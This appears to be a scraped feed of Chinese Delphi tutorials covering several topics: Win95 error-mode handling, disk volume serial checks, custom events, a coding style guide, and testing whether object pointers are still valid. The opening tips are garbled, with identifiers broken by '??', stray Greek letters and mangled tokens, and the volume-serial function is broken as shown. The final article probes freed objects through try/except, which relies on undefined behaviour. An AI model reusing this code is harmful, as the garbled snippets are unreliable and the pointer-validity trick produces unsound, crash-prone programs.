　　不管你的程序如何反复调试，交给用户之后，总有可
能发生你意想不到的错误，如何避免Win95显示出白色的
窗口，告诉你的用户发生了难堪的意外错误呢？我们可以
这样做：

　　var

　　wOldError??Mode：Word；

　　begin

　　／／tellwin??dowstoignorecriticalerrorsandsave
cur??renterrormode

　　wOldError??Mode：ΚSetEr??rorMode（SEM―FAILCR
ITI??CALERRORS）；

　　try

　　／／codethatmightgenerateacriticalerrorgoesher
e．．．

　　finally

　　／／gobacktopreviouserrormode

　　SetErrorMode（wOldErrorMode）；

　　end；

　　end；

　　主要是利用SetErrorMode（）来完成这一功能。

　　9．刚才用鼠标击了哪一个对象。

　　在Win95中，鼠标的右键起到了很大的作用，但是，
由于历史的原因，对于右键的使用即使在Delphi中，也还
不够有效，下面的程序可以告诉你如何知道刚才鼠标右击
的对象名称。首先建立一个popmenu，然后以下的代码就可
以告诉你刚才右击的对象名称：Popup??Menu1．PopupCom
ponent．ClassName。

　　

　　10．检测CD－ROM或是其他磁盘是否有过变化。

　　

　　最简单的检查CD－ROM或是磁盘是否有过变化的方法
是检查其volume号码。你可以简单地运用下面的函数来返
回磁盘的volume系列号码GetDiskVolSerialID（′E′），
函数代码如下：

　　functionGetDiskVolSerialID（cDriveName：char）
：DWord；

　　var

　　dwTemp1，dwTemp2：DWord；

　　begin

　　GetVolumeInformation（PChar（cDriveName＋′：
ι′），

　　Nil，

　　0，

　　ΝResult，

　　dwTemp2，

　　dwTemp2，

　　Nil，

　　0）；

　　end；


]]> http://www.17benteng.com/article.asp?id=53 7180001@qq.com(admin) Fri,27 Jun 2008 17:11:18 +0800 http://www.17benteng.com/default.asp?id=53 http://www.17benteng.com/article.asp?id=52 7180001@qq.com(admin) Fri,27 Jun 2008 17:09:55 +0800 http://www.17benteng.com/default.asp?id=52 　　在Delphi中，事件实际上是专门化的属性，它是一个过程（procedure）的指针。要添加事件，首先应在所定义的类中说明一个用来指向事件过程的指针，该指针的作用是当事件一旦发生，就通过这个指针执行所指向的处理这个事件的过程。最后通过指定符 published公布定义的事件属性以及与之关联的事件处理过程指针。

　　本例中，FtooBig为定义的事件处理过程指针，OnTooBig为事件属性名。事件处理过程指针FtooBig通过程序的初始化使之指向过程TooBig1。在Delphi的表单（Form1）上放置三个编辑框，分别为Edit1、Edit2和Edit3，放一按钮Button1。程序中设私有整型变量val1、val2和res，变量res用来记录val1和val2的乘积，并用Edit3显示出来。当通过Edit1和Edit2输入的数据有一个大于100时，会触发一个事件，并调用事件处理过程TooBig1显示一个对话框，说明此事件已经发生并已进行处理。源程序代码如下, 该程序在Delphi 3中调试通过。

unit Unit1;
interface
uses
   Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
   StdCtrls;
type
   TForm1 = class(TForm)
     Edit1: TEdit;     {输入第一个整数}
     Edit2: TEdit;     {输入第二个整数}
     Edit3: TEdit;     {输出前二个整数的积}
     Button1: TButton;
     procedure Button1Click(Sender: TObject);
procedure TooBig1(Sender: TObject);    
   {当事件触发后调用此过程}
     procedure FormCreate(Sender: TObject);
   private
val1,val2,res:integer; {val1和val2存放输入的两个整数，res存放两数的积}
FTooBig : TNotifyEvent;    {定义一个指向事件处理器的指针FTooBig}
     { Private declarations }
   public
     { Public declarations }
   published
property   OnTooBig:TNotifyevent read
FTooBig write FTooBig;{定义事件}
   end;

var
   Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
   val1 := StrToInt(Edit1.Text);
   val2 := StrToInt(Edit2.Text);
   if(val1< 100)and(val2< 100) then
     begin
       res := val1*val2;
       Edit3.Text := IntToStr(res);
     end
   else
     if assigned(FTooBig) then    OnTooBig(Self);
end;

procedure TForm1.TooBig1(Sender: TObject);
begin
Application.MessageBox('Too Big',' Test Event! ',MB_OK);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
   val1:=1;
   val2:=1;
   FTooBig := TooBig1;{使事件处理指针指向事件处理器}
end;

end.
]]> http://www.17benteng.com/article.asp?id=51 7180001@qq.com(admin) Fri,27 Jun 2008 17:07:22 +0800 http://www.17benteng.com/default.asp?id=51 qingrui li 据Charles Calvert的Object Pascal Style Guide编注

注：很多用Delphi的人不注意代码风格，经常写一些不规范的代码，以致别人很难看懂且容易出错。希望本文能鼓励广大Delphi爱好者统一到标准风格，共同前进。

本文描述了格式化Delphi代码的标准风格。次风格基于Delphi开发组的编码约定。我们承认很多流行的源码使用了不同于我们的风格，但是我们强烈推荐在公共源码社区使用Borland风格。

Delphi是个漂亮的语言，优点中重要的一条即是可读性。本标准为增强可读性设计。当开发者遵循本标准，所有开发者将从统一易读的风格中受益。强化风格标准的努力可以提高源程序的价值，尤其在调试和维护周期。

InfixCaps命名风格

又叫CamelCaps，名字由几个表达意义的词组成，每个词的首字母大写，其余小写。

如：MyFile，IntToStr，Items。

Delphi不使用匈牙利表示法，而推荐意义明确的名字。如用AppName而非lpszAppName，用Successful而非bSuccess，用ClientRect而非lprectClientRect。

源文件命名

使用InfixCaps形式。如果转译C/C++头文件，则使用与原头文件相同的名字。如果需要将多个头文件合并到一个单元，则使用主要头文件的名字，如：WinBase.h、Windows.h合并为Windows.pas。

命名约定

除了保留字和指示字全部小写，其它标识符使用InfixCaps风格。

注：最近似乎倾向于局部变量和形式参数使用简单的小写或缩写词。

例外是转译头文件的标识符保留原风格。

类型名都以T打头（Type的首字母）

函数、过程、方法名使用动词或动词短语，其它标识符使用名词或名词短语。

类数据成员以F打头（Field的首字母）

枚举类型成员前冠以小写的类型缩写，一般两个字母，例：

   TBitBtnKind = (bkCustom, bkOK, bkCancel, bkHelp,
     bkYes, bkNo, bkClose, bkAbort, bkRetry,
     bkIgnore, bkAll);

返回布尔值的函数以Is打头，例：IsVisible、IsResizable

空白的使用

在适当位置插入空行，分隔代码的不同部分，如类声明间、函数实现间等。

使用空格的位置：标点的右边，二元运算符的两边

不应插入空格的位置：

方法名和其后的左括弧间
.的前后
一元运算符和其操作数间
左括弧后和右括弧前
分号前
正确的例子:

function TMyClass.MyFunc(var Value: Integer);
MyPointer := @MyRecord;
MyClass := TMyClass(MyPointer);
MyInteger := MyIntegerArray[5];

错误的例子:

function TMyClass.MyFunc( var Value: Integer ) ;
MyPointer := @ MyRecord;
MyClass := TMyClass ( MyPointer ) ;
MyInteger := MyIntegerArray [ 5 ] ;
缩进

应使用两个空格的缩进，不要使用Tab字符。

begin...end间的代码要缩进，begin...end本身不缩进

续行时缩进两个空格

正确的例子：

function CreateWindowEx(dwExStyle: DWORD;
   lpClassName: PChar; lpWindowName: PChar;
   dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;
   hWndParent: HWND; hMenu: HMENU; hInstance: HINST;
   lpParam: Pointer): HWND; stdcall;

if ((X = Y) or (Y = X) or
   (Z = P) or (F = J) then
begin
   S := J;
end;
while (LongExpression1 or LongExpression2) do
begin
   // DoSomething
   // DoSomethingElse;
end;

if (LongExpression1) or
   (LongExpression2) or
   (LongExpression3) then

类

类声明安下列顺序组织

数据域

方法

属性

访问层次安下列顺序组织，但IDE自动生成的代码是例外

Private declarations
Protected declarations
Public declarations
Published declarations
构造函数和析构函数声明在方法声明的前面。由于TObject.Destroy是虚函数且TObject.Free调用的是Destroy，所以析构函数不要用其它的名字。构造函数可以用除Create外的名字，但一般最好统一用Create。

例：

   TMyClass = class(TObject)
   private
   protected
   public
   published
   end;

数据应该只在私有部分声明，并以F打头（Field的首字母）。

type
   TMyClass = class(TObject)
   private
     FMyData: Integer;
     function GetData: Integer;
     procedure SetData(Value: Integer);
   public
   published
     property MyData: Integer read GetData write SetData;
   end;
接口遵循相同规则

]]> http://www.17benteng.com/article.asp?id=50 7180001@qq.com(admin) Fri,27 Jun 2008 17:06:27 +0800 http://www.17benteng.com/default.asp?id=50
在Object Pascal中，一个类可以有两种类型的方法，一种称为对象方法(Object Method)，另一种是类方法（Class Method）。所谓对象方法，指的是方法的定义是针对对象（或称实例）的，因此调用该方法需要基于某个对象（或称实例），比如类的析构函数Destroy就是一个对象方法（其实我们经常用到的绝大部分方法都是对象方法）。而类方法，指的是方法的定义是基于一类对象而言，因此调用该方法不需要基于特定的对象实例，比如类的构造函数Create就是如此。这一点，对我们有些启发。判断一个对象指针是否可用，似乎可以通过以下步骤来完成。首先，我们可以判断该对象指针是否是nil，如果是，那么大功告成，确定不可用无疑；如果否，那么尝试执行该对象的某个对象方法，看看是否出现诸如无效内存访问等的异常，由此来判断该对象是否可用。用如下代码来验证我们的想法：

var

Obj: TObject;

begin

  Obj := TObject.Create;  //1.创建一个对象

  Obj.Free;             //2.释放刚刚创建的对象，此时内存被回收

  If Obj = nil then        //3.判断指针是否为空，(这一步往往不成功，因为对象

//被释放，Delphi也不会自动将对象指针置空)

    ShowMessage(‘对象指针不可用。’)

  else

  begin

       Try

If Obj.ClassType = TObject then  //4.调用TObject的一个对象方法

ShowMessage(‘对象类型为TObject’);

        Except

          ShowMessage(‘对象指针不可用。’)

        End;

  end;

end;

执行上述代码，我们发现，即使Obj.Free已经执行，Obj.ClassType依然可用。这表明，并不是所有的对象方法一定要依赖于某个对象实例才能够访问。究其原因，是因为这个对象方法不需要访问某个对象实例所申请的内存。从这个意义上来说，TObject.ClassType方法并不象是一个是真正的对象方法，而颇有些类方法的味道。

执行上述代码，我们还可以发现，一个对象执行Free方法，只是将其在创建时所申请的内存释放全部释放，但是并不影响到对象指针本身的值。对象指针还是指向原来的内存地址。同时，由于某些对象方法（如ClassType）实现的特殊性，即使对象已经被释放了，对象方法的调用结果仍然正确。

综上所述，我们可以得出一个结论，那就是，一个对象指针是否能够被判断为是否可用，要看该对象指针所属的类，是否提供了访问对象实例内存的途径――这个途径可以是方法，也可以是属性。那么，现在具体到各个类中，情况又如何呢？

TObject，该类是所有类的祖先类，没有办法作出判断。

TPersistent，由TObject派生而来，创建对象实例时不需要申请额外的内存，所以也没有办法判断。

TComponent，由TPersistent派生而来，增加了许多在创建对象实例时需要申请额外内存的属性，所以从理论上来说，它是可判断的。代码如下：

function ComponentExists(AComponent: TComponent): Boolean;

begin

  try

    AComponent.HasParent; //注意：这个句子也可以为”AComponent.Tag;”

                         //或者为”AComponent.Name”

    result := True;

  except

    result := False;

  end;

end;

通过调用ComponentExists，我们可以得知一个TComponent类型的对象指针是否可用，而不管该对象指针是否已经被释放，是否被置为nil。

其他类，如TControl，TWinControl，或者TButton等等，只要是由TComponent派生而来，则TComponent的判断方法依然适用。

还有其他一些用户自定义的类，若是直接由不能判断的类（比如TObject和TPersistent）派生而来，但是没有需要在实例化时申请内存的属性，那么也没有办法判断；反之，则可以。据个例子来说：

假设我们有一个TPerson类，定义如下：

TPerson = Class(TObject)

Private

  FSex: TSex; // TSex 是枚举类型的性别；

  FFirstName: String;

  FLastName: String;

  //…

Public

  property Sex: TSex read FSex write FSex;

  property FirstName: String read FFirstName write FFirstName;

  property LastName: String read FLastName write FLastName;

  //…

end;

那么，对于TPerson类型的指针Person，可以用如下代码判断指针是否可用：

       Try

Person.Sex;

//或者 Person.FirstName;

//或者 Person.LastName;

result := True; //指针可用

Except

  result := False;//指针不可用

end;

    

以上我们探讨的只是一种技术上的可能性。想要强调的一点是，即使有一个好的可行的办法，也不鼓励经常这么做。因为，一个逻辑严密的程序，本来就应能够杜绝去访问一个无效的指针。


]]>